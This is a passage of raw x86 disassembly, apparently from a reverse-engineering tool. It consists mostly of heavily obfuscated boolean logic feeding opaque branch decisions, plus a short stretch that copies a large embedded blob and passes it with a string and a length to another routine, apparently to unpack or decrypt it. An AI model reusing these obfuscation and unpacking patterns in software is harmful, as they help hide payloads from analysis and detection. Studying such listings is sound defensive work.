and bh, bl
xor cl, bl
or bh, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, bh
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
and bh, ah
mov bl, cl
xor bl, 0xff
and bl, 0
and cl, ah
or al, bh
or bl, cl
xor al, bl
mov cl, dl
xor cl, 0
and cl, 1
mov ah, dl
xor ah, 1
and ah, 0
or cl, ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x1d5], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov al, cl
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1d6], al
and al, 0
and cl, bh
mov byte [ebp - 0x1d7], al
mov al, bl
and al, 0
and ah, bh
mov byte [ebp - 0x1d8], al
mov al, byte [ebp - 0x1d7]
or al, cl
mov cl, byte [ebp - 0x1d8]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x1d6]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, dl
xor cl, 0
and cl, 1
mov ah, dl
xor ah, 1
and ah, 0
or cl, ah
mov ah, ch
xor ah, 0xff
mov bl, cl
and bl, ah
xor cl, 0xff
mov ah, ch
and ah, cl
or bl, ah
xor bl, 0xff
mov cl, ch
xor cl, 0xff
mov ah, dl
xor ah, 1
or bl, cl
or ah, 1
xor bl, 0xff
and bl, ah
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov bh, al
and bh, ah
or cl, bh
mov ah, dh
xor ah, 0xff
and ah, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1d9], al
mov al, dh
and al, bh
mov byte [ebp - 0x1da], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bh
mov bh, byte [ebp - 0x1da]
or ah, bh
or al, cl
xor ah, al
xor ah, 0xff
xor dh, 0xff
mov al, dl
xor al, 0
or ah, dh
or al, 0
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x1d5]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov dh, byte [ebp - 0x1d5]
and dh, cl
mov bh, dl
xor bh, 1
and bh, 0
and cl, 1
or al, dh
or bh, cl
xor al, bh
mov cl, dl
xor cl, 0
and cl, 1
mov dh, dl
xor dh, 1
mov bh, dh
and bh, 0
mov byte [ebp - 0x1db], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov al, dl
xor al, 0
and al, 0
mov dh, dl
xor dh, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0x1dc], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0x1dd], al
mov al, byte [ebp - 0x1dc]
or al, bh
mov bh, byte [ebp - 0x1dd]
or bh, dh
xor al, bh
mov dh, byte [ebp - 0x1db]
and dh, cl
mov bh, byte [ebp - 0x1db]
xor bh, cl
or dh, bh
mov cl, dl
xor cl, 0
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x1de], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1df], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x1e0], al
mov al, byte [ebp - 0x1df]
and al, 0
mov byte [ebp - 0x1e1], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1e2], al
mov al, byte [ebp - 0x1de]
mov byte [ebp - 0x1e3], cl
mov cl, byte [ebp - 0x1df]
and al, cl
mov cl, byte [ebp - 0x1e0]
mov byte [ebp - 0x1e4], al
mov al, byte [ebp - 0x1e1]
or cl, al
mov al, byte [ebp - 0x1e2]
mov byte [ebp - 0x1e5], cl
mov cl, byte [ebp - 0x1e4]
or al, cl
mov cl, byte [ebp - 0x1e5]
xor cl, al
mov al, byte [ebp - 0x1e3]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x1df]
or bh, 1
and al, bh
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
and dh, bh
mov byte [ebp - 0x1e6], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x1e7], al
mov al, byte [ebp - 0x1e6]
or al, dh
mov dh, byte [ebp - 0x1e7]
or dh, bh
xor al, dh
xor al, 0xff
xor cl, 0xff
mov dh, dl
xor dh, 0
or al, cl
or dh, 0
xor al, 0xff
and al, dh
mov cl, byte [ebp - 0x1d1]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x1d1]
and bh, dh
or cl, bh
mov dh, byte [ebp - 0x1d9]
xor dh, 0xff
and dh, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1e8], al
mov al, byte [ebp - 0x1d9]
and al, bh
or dh, al
mov al, dl
xor al, 0
and al, 1
mov bh, dl
xor bh, 1
and bh, 0
or al, bh
mov bh, cl
and bh, dh
xor cl, dh
or bh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
mov al, bh
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
and bh, dh
or al, bh
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bh, bl
and bh, cl
or al, bh
mov cl, ah
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1e9], al
mov al, ah
and al, bh
or cl, al
mov al, dl
xor al, 0
and al, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1ea], al
mov al, bh
and al, 0
mov byte [ebp - 0x1eb], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x1ec], al
mov al, byte [ebp - 0x1ea]
mov byte [ebp - 0x1ed], cl
mov cl, byte [ebp - 0x1eb]
or al, cl
mov cl, byte [ebp - 0x1ec]
or cl, bh
xor al, cl
mov cl, dl
xor cl, 0
mov bh, byte [ebp - 0x1e9]
xor bh, cl
mov cl, byte [ebp - 0x1e9]
and bh, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x1ee], al
mov al, bl
xor al, cl
and al, bl
mov cl, dl
xor cl, 0
mov bl, byte [ebp - 0x1ed]
xor bl, cl
mov cl, byte [ebp - 0x1ed]
and bl, cl
mov cl, byte [ebp - 0x1ee]
xor cl, 0xff
mov byte [ebp - 0x1ef], al
mov al, ah
xor al, cl
and al, ah
mov cl, bh
xor cl, 0xff
mov ah, byte [ebp - 0x1ef]
xor ah, 0xff
mov byte [ebp - 0x1f0], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1f1], al
mov al, cl
and al, 0
mov byte [ebp - 0x1f2], al
mov al, byte [ebp - 0x1f1]
and bh, al
mov al, ah
and al, 0
mov byte [ebp - 0x1f3], al
mov al, byte [ebp - 0x1ef]
mov byte [ebp - 0x1f4], cl
mov cl, byte [ebp - 0x1f1]
and al, cl
mov cl, byte [ebp - 0x1f2]
or cl, bh
mov bh, byte [ebp - 0x1f3]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x1f4]
or al, ah
xor al, 0xff
mov ah, byte [ebp - 0x1f1]
or ah, 0
and al, ah
or cl, al
mov al, bl
xor al, 0xff
mov ah, byte [ebp - 0x1f0]
xor ah, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1f5], al
and al, 0xff
and bl, bh
mov byte [ebp - 0x1f6], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x1f7], al
mov al, byte [ebp - 0x1f0]
and al, bh
mov byte [ebp - 0x1f8], al
mov al, byte [ebp - 0x1f6]
or al, bl
mov bl, byte [ebp - 0x1f7]
mov byte [ebp - 0x1f9], al
mov al, byte [ebp - 0x1f8]
or bl, al
mov al, byte [ebp - 0x1f9]
xor al, bl
mov bl, byte [ebp - 0x1f5]
or bl, ah
xor bl, 0xff
or bh, 1
and bl, bh
or al, bl
mov ah, cl
xor ah, 0xff
mov bl, al
and bl, ah
xor al, 0xff
and cl, al
or bl, cl
mov al, byte [ebp - 0x1e9]
mov cl, byte [ebp - 0x1ed]
and al, cl
mov ah, byte [ebp - 0x1e9]
xor ah, cl
or al, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov bh, dl
xor bh, 1
and al, bh
mov cl, dl
xor cl, 1
and cl, 0xff
and bh, 1
or ah, al
or cl, bh
xor ah, cl
mov al, byte [ebp - 0x1ee]
and al, 0
mov cl, byte [ebp - 0x1ee]
xor cl, 0
or al, cl
xor al, 0xff
mov cl, ah
xor cl, al
and cl, ah
mov al, bl
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1fa], al
and al, 0xff
and bl, bh
mov byte [ebp - 0x1fb], al
mov al, ah
and al, 0xff
and cl, bh
mov byte [ebp - 0x1fc], al
mov al, byte [ebp - 0x1fb]
or al, bl
mov bl, byte [ebp - 0x1fc]
or bl, cl
xor al, bl
mov cl, byte [ebp - 0x1fa]
or cl, ah
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x1e8]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov bl, byte [ebp - 0x1e8]
and bl, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or cl, bl
or bh, ah
xor cl, bh
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or ah, bh
mov bl, dl
xor bl, 0
and bl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1fd], al
mov al, bh
and al, 0
mov byte [ebp - 0x1fe], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x1ff], al
mov al, byte [ebp - 0x1fe]
or bl, al
mov al, byte [ebp - 0x1ff]
or al, bh
xor bl, al
mov al, cl
xor al, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x200], al
mov al, dl
xor al, 1
mov byte [ebp - 0x201], al
mov al, byte [ebp - 0x200]
or al, bh
mov bh, byte [ebp - 0x201]
or bh, 1
xor al, 0xff
and al, bh
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x202], al
mov al, byte [ebp - 0x1e8]
xor al, bh
mov bh, byte [ebp - 0x1e8]
and al, bh
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x203], al
mov al, dl
xor al, 0
mov byte [ebp - 0x204], al
mov al, dl
xor al, 0
mov byte [ebp - 0x205], al
mov al, byte [ebp - 0x204]
or bh, al
mov al, byte [ebp - 0x205]
or al, 0
xor bh, 0xff
and bh, al
xor dh, 0xff
mov al, bl
xor al, 0xff
mov byte [ebp - 0x206], al
mov al, dl
xor al, 1
mov byte [ebp - 0x207], al
mov al, byte [ebp - 0x206]
or dh, al
mov al, byte [ebp - 0x207]
or al, 1
xor dh, 0xff
and dh, al
mov al, byte [ebp - 0x202]
mov byte [ebp - 0x208], cl
mov cl, byte [ebp - 0x203]
and al, cl
mov cl, byte [ebp - 0x202]
mov byte [ebp - 0x209], al
mov al, byte [ebp - 0x203]
xor cl, al
mov al, byte [ebp - 0x209]
or al, cl
mov cl, bh
xor cl, 0xff
mov byte [ebp - 0x20a], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x20b], al
mov al, dl
xor al, 1
mov byte [ebp - 0x20c], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x20d], al
mov al, byte [ebp - 0x20c]
and bh, al
mov al, byte [ebp - 0x20b]
and al, 0xff
mov byte [ebp - 0x20e], al
mov al, byte [ebp - 0x20c]
and dh, al
mov al, byte [ebp - 0x20d]
or al, bh
mov bh, byte [ebp - 0x20e]
or bh, dh
xor al, bh
mov dh, byte [ebp - 0x20b]
or cl, dh
xor cl, 0xff
mov bh, byte [ebp - 0x20c]
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x20a]
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
mov dh, byte [ebp - 0x20a]
and dh, bh
mov byte [ebp - 0x20f], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x210], al
mov al, byte [ebp - 0x20f]
and al, bh
or cl, dh
mov dh, byte [ebp - 0x210]
or dh, al
xor cl, dh
mov al, byte [ebp - 0x208]
and al, ah
mov dh, byte [ebp - 0x208]
xor dh, ah
or al, dh
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
and al, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ah, al
or bh, dh
xor ah, bh
mov al, bl
and al, 0
xor bl, 0
or al, bl
xor ah, 0xff
xor al, 0xff
mov dh, dl
xor dh, 1
or ah, al
or dh, 1
xor ah, 0xff
and ah, dh
mov al, cl
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
and cl, bl
mov byte [ebp - 0x211], al
mov al, dh
and al, 0xff
and ah, bl
or bh, cl
or al, ah
xor bh, al
mov al, byte [ebp - 0x211]
or al, dh
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, byte [ebp - 0x1fd]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x1fd]
and ah, cl
mov dh, dl
xor dh, 1
and dh, 0
and cl, 1
or al, ah
or dh, cl
xor al, dh
xor al, 0xff
mov cl, bh
xor cl, al
and cl, bh
mov al, bh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bh, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or al, bh
or dh, ah
xor al, dh
mov ah, byte [ebp - 0x1fd]
xor ah, 0xff
xor al, 0xff
mov dh, dl
xor dh, 0
or ah, al
or dh, 0
xor ah, 0xff
and ah, dh
mov al, cl
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
and cl, bl
mov byte [ebp - 0x212], al
mov al, dh
and al, 0
and ah, bl
or bh, cl
or al, ah
xor bh, al
mov al, byte [ebp - 0x212]
or al, dh
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, byte [ebp - 0x1d5]
xor al, 0xff
mov cl, ch
xor cl, al
and cl, ch
mov al, ch
xor al, 0xff
mov ah, byte [ebp - 0x1d5]
and ah, al
mov al, byte [ebp - 0x1d5]
xor al, 0xff
and ch, al
or ah, ch
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bl, al
and bl, 0
and cl, dh
mov byte [ebp - 0x213], al
mov al, ch
and al, 0
and ah, dh
or bl, cl
or al, ah
xor bl, al
mov al, byte [ebp - 0x213]
or al, ch
xor al, 0xff
or dh, 0
and al, dh
or bl, al
mov al, bl
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, bl
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0xff
and cl, 1
or al, ah
or ch, cl
xor al, ch
mov cl, dl
xor cl, 1
xor al, 0xff
mov ah, dl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, dl
xor al, 1
and al, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or al, ch
or dh, ah
xor al, dh
xor bl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0
or bl, al
or ah, 0
xor bl, 0xff
and bl, ah
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov cl, dl
xor cl, 0
and cl, 0
mov ah, dl
xor ah, 0
mov ch, ah
and ch, 0
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or cl, ch
or dh, ah
xor cl, dh
mov ah, byte [ebp - 0x1d9]
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov dh, byte [ebp - 0x1d9]
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 0
and ch, 1
mov dh, dl
xor dh, 1
mov bl, dh
and bl, 0
mov byte [ebp - 0x214], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or ch, bl
or al, dh
xor ch, al
mov al, dl
xor al, 0
mov dh, cl
xor dh, al
and dh, cl
mov al, dl
xor al, 0
mov bl, ch
xor bl, 0xff
mov byte [ebp - 0x215], al
mov al, dl
xor al, 1
mov byte [ebp - 0x216], al
mov al, byte [ebp - 0x215]
or al, bl
mov bl, byte [ebp - 0x216]
or bl, 1
xor al, 0xff
and al, bl
mov bl, dl
xor bl, 0
mov byte [ebp - 0x217], al
mov al, ah
xor al, bl
and al, ah
mov bl, byte [ebp - 0x1d9]
xor bl, 0xff
mov byte [ebp - 0x218], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x219], al
mov al, dl
xor al, 1
mov byte [ebp - 0x21a], al
mov al, byte [ebp - 0x219]
or bl, al
mov al, byte [ebp - 0x21a]
or al, 1
xor bl, 0xff
and bl, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x21b], al
mov al, byte [ebp - 0x217]
xor al, 0xff
mov byte [ebp - 0x21c], al
mov al, dl
xor al, 1
mov byte [ebp - 0x21d], al
mov al, byte [ebp - 0x21b]
and al, 0xff
mov byte [ebp - 0x21e], al
mov al, byte [ebp - 0x21d]
and dh, al
mov al, byte [ebp - 0x21c]
and al, 0xff
mov byte [ebp - 0x21f], al
mov al, byte [ebp - 0x217]
mov byte [ebp - 0x220], cl
mov cl, byte [ebp - 0x21d]
and al, cl
mov cl, byte [ebp - 0x21e]
or cl, dh
mov dh, byte [ebp - 0x21f]
or dh, al
xor cl, dh
mov al, byte [ebp - 0x21b]
mov dh, byte [ebp - 0x21c]
or al, dh
xor al, 0xff
mov dh, byte [ebp - 0x21d]
or dh, 1
and al, dh
or cl, al
mov al, byte [ebp - 0x218]
and al, bl
mov dh, byte [ebp - 0x218]
xor dh, bl
or al, dh
mov dh, cl
xor dh, 0xff
and dh, 0
mov bl, dl
xor bl, 0
and cl, bl
mov byte [ebp - 0x221], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x222], al
mov al, byte [ebp - 0x221]
and al, bl
or dh, cl
mov cl, byte [ebp - 0x222]
or cl, al
xor dh, cl
mov al, byte [ebp - 0x220]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x223], al
and al, 0
mov byte [ebp - 0x224], al
mov al, byte [ebp - 0x220]
and al, bl
mov byte [ebp - 0x225], al
mov al, cl
and al, 0
and ah, bl
mov byte [ebp - 0x226], al
mov al, byte [ebp - 0x224]
mov byte [ebp - 0x227], cl
mov cl, byte [ebp - 0x225]
or al, cl
mov cl, byte [ebp - 0x226]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x223]
mov ah, byte [ebp - 0x227]
or cl, ah
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
and al, bl
or cl, al
mov al, ch
and al, 0
xor ch, 0
or al, ch
xor cl, 0xff
xor al, 0xff
mov ch, dl
xor ch, 1
or cl, al
or ch, 1
xor cl, 0xff
and cl, ch
mov al, dh
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov bl, dl
xor bl, 0
mov ah, al
and ah, 0
and dh, bl
mov byte [ebp - 0x228], al
mov al, ch
and al, 0
and cl, bl
or ah, dh
or al, cl
xor ah, al
mov al, byte [ebp - 0x228]
or al, ch
xor al, 0xff
or bl, 0
and al, bl
or ah, al
mov al, ah
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or al, ah
or ch, cl
xor al, ch
mov cl, byte [ebp - 0x214]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x214]
and ch, ah
mov dh, al
xor dh, 0xff
and dh, 0
and al, ah
or cl, ch
or dh, al
xor cl, dh
xor cl, 0xff
mov al, byte [ebp - 0x214]
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, cl
xor al, 0xff
mov ah, bh
xor ah, al
and ah, bh
mov al, bh
xor al, 0xff
and al, 1
xor dl, 1
and bh, dl
mov ch, cl
xor ch, 0xff
and ch, 0xff
and cl, dl
or al, bh
or ch, cl
xor al, ch
mov cl, ah
and cl, al
xor ah, al
or cl, ah
test cl, 1
mov esi, dword [ebp - 0x1c4]
mov edi, dword [ebp - 0x1cc]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x47044a
mov eax, 0x2d200
lea ecx, str._7zK_
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x2d200
mov dword [ebp - 0x22c], eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
sub esp, 4
mov esi, esp
mov dword [esi], edx
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x234], ecx
call sub.msvcrt.dll_strlen
sub esp, 0xc
mov ecx, dword [ebp - 0x230]
mov dword [esp], ecx
mov ecx, dword [ebp - 0x234]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x2d200
mov dword [esp + 0xc], eax
call fcn.00453160
add esp, 0x10
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
mov dword [ebp - 0x238], eax
call fcn.00401460
add esp, 4
mov ecx, 0xcedefb4
mov edx, 0x378f2fef
mov bl, 1
xor esi, esi
mov edi, 0x3d61ff0f
mov dword [ebp - 0x23c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x240], ecx
mov ecx, dword [ebp - 0x23c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
setne bh
and bh, 1
mov byte [ebp - 0xd], bh
mov eax, dword [0x4a4094]
mov ecx, dword [0x4a4098]
mov dword [ebp - 0x244], eax
mov eax, esi
mov dword [ebp - 0x248], ecx
mov ecx, dword [ebp - 0x244]
sub eax, ecx
add eax, 0
add edi, 0
sub edi, 0x79606239
sub edi, 0x3d61ff0f
sub eax, 0x4a33024a
add eax, edi
add eax, 0x4a33024a
mov edi, esi
sub edi, 0x7c2062dd
sub edi, eax
add edi, 0x7c2062dd
mov eax, esi
sub eax, 0xad6475fd
sub eax, 1
add eax, 0xad6475fd
add edi, 0x805aea8
add edi, eax
sub edi, 0x805aea8
mov eax, esi
sub eax, 0x6445be30
sub eax, 0x79606239
add eax, 0x6445be30
sub esi, eax
sub edi, esi
imul ecx, edi
and ecx, 1
cmp ecx, 0
sete bh
mov eax, dword [ebp - 0x248]
cmp eax, 0xa
setl al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, bh
and ch, cl
mov byte [ebp - 0x249], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, byte [ebp - 0x249]
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov ch, byte [ebp - 0x249]
and ch, cl
mov byte [ebp - 0x24a], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x24b], al
mov al, byte [ebp - 0x24a]
or al, ch
mov ch, byte [ebp - 0x24b]
or ch, cl
xor al, ch
mov cl, bl
xor cl, 1
and cl, 0
mov ch, bl
xor ch, 0
mov byte [ebp - 0x24c], al
mov al, ch
and al, 1
mov byte [ebp - 0x24d], al
mov al, bl
xor al, 1
and al, 0
and ch, 1
mov byte [ebp - 0x24e], al
mov al, byte [ebp - 0x24d]
or cl, al
mov al, byte [ebp - 0x24e]
or al, ch
xor cl, al
mov al, ah
mov ch, byte [ebp - 0x24c]
and al, ch
xor ah, ch
or al, ah
mov ah, bl
xor ah, 1
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x24f], al
mov al, bl
xor al, 1
mov byte [ebp - 0x250], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x251], al
mov al, byte [ebp - 0x250]
and al, 1
mov byte [ebp - 0x252], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x253], al
mov al, byte [ebp - 0x250]
and cl, al
mov al, byte [ebp - 0x251]
mov byte [ebp - 0x254], cl
mov cl, byte [ebp - 0x252]
or al, cl
mov cl, byte [ebp - 0x253]
mov byte [ebp - 0x255], al
mov al, byte [ebp - 0x254]
or cl, al
mov al, byte [ebp - 0x255]
xor al, cl
or ah, ch
xor ah, 0xff
mov cl, byte [ebp - 0x250]
or cl, 1
and ah, cl
or al, ah
mov cl, byte [ebp - 0x24f]
xor cl, 0xff
and cl, 0
mov ah, bl
xor ah, 0
mov ch, byte [ebp - 0x24f]
and ch, ah
mov byte [ebp - 0x256], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov al, byte [ebp - 0x256]
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, bh
xor al, 0xff
and al, 0
mov cl, bl
xor cl, 0
mov ch, bh
and ch, cl
mov byte [ebp - 0x257], al
mov al, bl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x258], al
mov al, byte [ebp - 0x257]
or al, ch
mov ch, byte [ebp - 0x258]
or ch, cl
xor al, ch
xor al, 0xff
mov cl, byte [ebp - 0x249]
xor cl, al
mov al, byte [ebp - 0x249]
and cl, al
xor al, 0xff
and al, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0x259], al
mov al, byte [ebp - 0x249]
and al, ch
mov ch, byte [ebp - 0x259]
or ch, al
xor ch, 0xff
mov al, bh
xor al, ch
and al, bh
mov ch, cl
and ch, al
xor cl, al
or ch, cl
mov al, ah
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov bh, ah
and bh, cl
or al, bh
mov cl, ch
xor cl, 0xff
and cl, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0x25a], al
mov al, ch
and al, bh
or cl, al
mov al, bl
xor al, 0
and al, 1
mov bh, bl
xor bh, 1
and bh, 0
or al, bh
mov bh, byte [ebp - 0x25a]
xor bh, 0xff
mov byte [ebp - 0x25b], al
mov al, bl
xor al, 0
mov byte [ebp - 0x25c], al
mov al, bl
xor al, 1
mov byte [ebp - 0x25d], al
mov al, byte [ebp - 0x25c]
or bh, al
mov al, byte [ebp - 0x25d]
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x25b]
xor al, 0xff
mov byte [ebp - 0x25e], al
mov al, ah
mov byte [ebp - 0x25f], cl
mov cl, byte [ebp - 0x25e]
xor al, cl
and al, ah
mov cl, bl
xor cl, 0
mov ah, byte [ebp - 0x25f]
xor ah, cl
mov cl, byte [ebp - 0x25f]
and ah, cl
mov cl, byte [ebp - 0x25b]
xor cl, 0xff
mov byte [ebp - 0x260], al
mov al, ch
xor al, cl
and al, ch
mov cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x260]
xor ch, 0xff
mov byte [ebp - 0x261], al
mov al, bl
xor al, 0
mov byte [ebp - 0x262], al
mov al, cl
and al, 0
mov byte [ebp - 0x263], al
mov al, byte [ebp - 0x262]
and bh, al
mov al, ch
and al, 0
mov byte [ebp - 0x264], al
mov al, byte [ebp - 0x260]
mov byte [ebp - 0x265], cl
mov cl, byte [ebp - 0x262]
and al, cl
mov cl, byte [ebp - 0x263]
or cl, bh
mov bh, byte [ebp - 0x264]
or bh, al
xor cl, bh
mov al, byte [ebp - 0x265]
or al, ch
xor al, 0xff
mov ch, byte [ebp - 0x262]
or ch, 0
and al, ch
or cl, al
mov al, ah
xor al, 0xff
mov ch, byte [ebp - 0x261]
xor ch, 0xff
mov bh, bl
xor bh, 0
mov byte [ebp - 0x266], al
and al, 0
and ah, bh
mov byte [ebp - 0x267], al
mov al, ch
and al, 0
mov byte [ebp - 0x268], al
mov al, byte [ebp - 0x261]
and al, bh
mov byte [ebp - 0x269], al
mov al, byte [ebp - 0x267]
or al, ah
mov ah, byte [ebp - 0x268]
mov byte [ebp - 0x26a], al
mov al, byte [ebp - 0x269]
or ah, al
mov al, byte [ebp - 0x26a]
xor al, ah
mov ah, byte [ebp - 0x266]
or ah, ch
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, bl
xor ch, 0
and cl, ch
mov bh, al
xor bh, 0xff
and bh, 0
and al, ch
or ah, cl
or bh, al
xor ah, bh
mov al, byte [ebp - 0x25a]
mov cl, byte [ebp - 0x25f]
and al, cl
mov ch, byte [ebp - 0x25a]
xor ch, cl
or al, ch
mov ch, al
xor ch, 0xff
and ch, 0
mov bh, bl
xor bh, 0
and al, bh
mov cl, bl
xor cl, 1
and cl, 0
and bh, 1
or ch, al
or cl, bh
xor ch, cl
mov al, byte [ebp - 0x25b]
and al, 0
mov cl, byte [ebp - 0x25b]
xor cl, 0
or al, cl
xor al, 0xff
mov cl, ch
xor cl, al
and cl, ch
mov al, ah
xor al, 0xff
mov ch, cl
xor ch, 0xff
xor bl, 0
mov bh, al
and bh, 0
and ah, bl
mov byte [ebp - 0x26b], al
mov al, ch
and al, 0
and cl, bl
or bh, ah
or al, cl
xor bh, al
mov al, byte [ebp - 0x26b]
or al, ch
xor al, 0xff
or bl, 0
and al, bl
or bh, al
test bh, 1
mov esi, dword [ebp - 0x240]
cmovne esi, edx
mov dword [ebp - 0x28], esi
jmp 0x47044a
